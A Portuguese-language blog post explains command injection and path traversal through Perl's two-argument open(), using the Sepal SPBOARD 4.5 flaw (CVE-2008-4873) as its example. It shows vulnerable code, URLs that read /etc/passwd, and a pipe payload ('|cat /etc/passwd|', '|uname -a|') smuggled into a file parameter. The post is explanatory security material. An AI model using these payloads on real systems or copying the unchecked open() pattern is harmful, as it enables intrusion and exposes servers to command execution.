Perl - Explorando a função open()

Como em qualquer outra linguagem de script, vemos também no Perl que há a possibilidade de controlar um arquivo que é incluído no script, através da falta ou da falha da verificação de path onde espera-se via query string o path para o determinado arquivo a ser incluso.

A falta de verificação desse path é uma antiga falha de seguranca, por meio desse furo, há possibilidade de executar códigos arbitrários, o que irá possibilitar alguém de obter acesso root em sua máquina. (e.g. http://c99shell.com/)

Como exemplo de sistemas vulneraveis a esse problema, seria por exemplo, um sistema que liste arquivos com paginação, veja você mesmo:

http://zzzzzzz/zzzz.cgi?/etc/passwd

Esta página usa um script que faz o seguinte:

 
$filename = $ARGV[0];
...
open(logf,$filename)|| die "$filename";
while(<logf>){
  ...
  print;
}

Identificar o furo de segurança aí é bem trivial! :)

Há também o problema de usar um script disponível e largamente usado pela web, logo que alguém descobre uma falha desta natureza que estou retratando neste post, se o bug não é rapidamente reparado, e o sistema não for atualizado, certamente será um alvo fácil de gente que fica rodando bots procurando alvos vulneráveis a determinada lista de falhas conhecidas.

Para ilustrar este cenário, temos como exemplo a seguinte falha descoberta no Sepal SPBOARD 4.5 [1]:

 
sub down_file {
	my($t_file);
	&plus_num;
	if(($FORM{'file'}=~ /http:\/\/.+/) || ($FORM{'file'}=~ /ftp:\/\/.+/)){
		print "Location:$FORM{'file'}\n\n";
	}
	else {
		($t_file = $FORM{'file'}) =~ s{^.+/(.+)$}{$1}g;
		print "Content-type: application/octet-stream\n";
		print "Content-disposition: attachment; filename=$t_file\n";
		print "Content-Transfer-Encoding: binary\n\n";
		open( DOWN, "$main_dir/files/$FORM{'file'}" );
		binmode DOWN;
		binmode STDOUT;
		binmode STDERR;
		print <DOWN>;
		close DOWN;
	}
	exit;
}

Como podemos ver, há um brecha na chamada da função open(), que não faz verificação do nome do arquivo. Para explorar essa falha, basta conhecermos as expressões possiveis para trabalhar com comunicação unidericional do Perl [2], que neste caso, a que irá nos atender é a seguinte
expressão: "|cat%20/etc/passwd|", que se tornaria, como em um SQL injection:

open( DOWN, "$main_dir/files/|cat /etc/passwd|" );

Fazendo que com a primeira parte "$main_dir/files/" gere apenas um erro, porém em seguida
cria-se um processo executando um comando do sistema, e o retorno do mesmo passa a ser lido, e impresso logo abaixo no 'print'.

Veja você mesmo:
http://zzzzzz/board.cgi?id=ors1&number=908.cgi&file=|uname%20-a|&action=down_file

[1] - CVE-2008-4873 - http://www.cvedetails.com/cve/CVE-2008-4873/
[2] - http://www.perl.com/doc/manual/html/pod/perlfunc/open.html

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.

More information about formatting options